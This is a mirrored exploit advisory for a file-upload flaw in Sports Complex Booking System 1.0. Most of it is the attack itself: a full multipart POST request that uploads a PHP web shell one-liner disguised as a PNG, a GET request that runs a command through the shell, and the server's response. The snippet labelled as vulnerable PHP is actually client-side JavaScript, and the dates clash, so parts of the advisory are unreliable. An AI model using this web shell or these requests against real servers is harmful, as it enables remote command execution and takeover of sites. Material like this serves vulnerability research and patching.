Lucene search
K

Sports Complex Booking System 1.0 Shell Upload

🗓️ 24 Mar 2022 00:00:00Reported by Hejap ZairyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 377 Views

File upload bypass WAF vulnerability, execute server-side command

Code
`# Title: Sports Complex Booking System 1.0 Shell Upload  
# Author: Hejap Zairy  
# Date: 24.07.2022  
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html  
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw  
  
  
#vulnerability Code php  
Needs more filtering to upload profile files  
  
php```  
window.displayImg = function(input,_this) {  
if (input.files && input.files[0]) {  
var reader = new FileReader();  
reader.onload = function (e) {  
$('#cimg').attr('src', e.target.result);  
_this.siblings('.custom-file-label').html(input.files[0].name)  
}  
  
reader.readAsDataURL(input.files[0]);  
}else{  
$('#cimg').attr('src', "<?php echo validate_image(isset($image_path) ? $image_path : "") ?>");  
_this.siblings('.custom-file-label').html("Choose file")  
}  
}  
```  
  
  
[+] Payload POST  
  
  
```  
POST /scbs/?p=manage_account HTTP/1.1  
Host: 0day.gov  
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738  
Content-Length: 882  
Origin: https://0day.gov  
Referer: https://0day.gov/scbs/  
Upgrade-Insecure-Requests: 1  
Te: trailers  
Connection: close  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productName"  
Hejap Zairy  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"  
Content-Type: image/png  
  
<?=`$_GET[515]`?>  
  
-----------------------------409902128312379197203124536738  
Content-Disposition: form-data; name="submit"  
-----------------------------409902128312379197203124536738--  
```  
  
  
#Status: CRITICAL  
  
[+] Payload GET  
  
```  
GET /scbs/dist/img/0day_hejap.php?515=echo%200day%20hejap%20Zairy HTTP/1.1  
Host: 0day.gov  
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Upgrade-Insecure-Requests: 1  
Te: trailers  
Connection: close  
```  
  
#Response   
```  
HTTP/1.1 200 OK  
Date: Sun, 20 Mar 2022 08:04:28 GMT  
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27  
X-Powered-By: PHP/7.4.27  
Content-Length: 17  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
0day hejap Zairy  
```  
  
  
# Description:  
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.  
  
  
# Proof and Exploit:  
https://i.imgur.com/us3lA1l.png  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Mar 2022 00:00Current
7.4High risk
Vulners AI Score7.4
377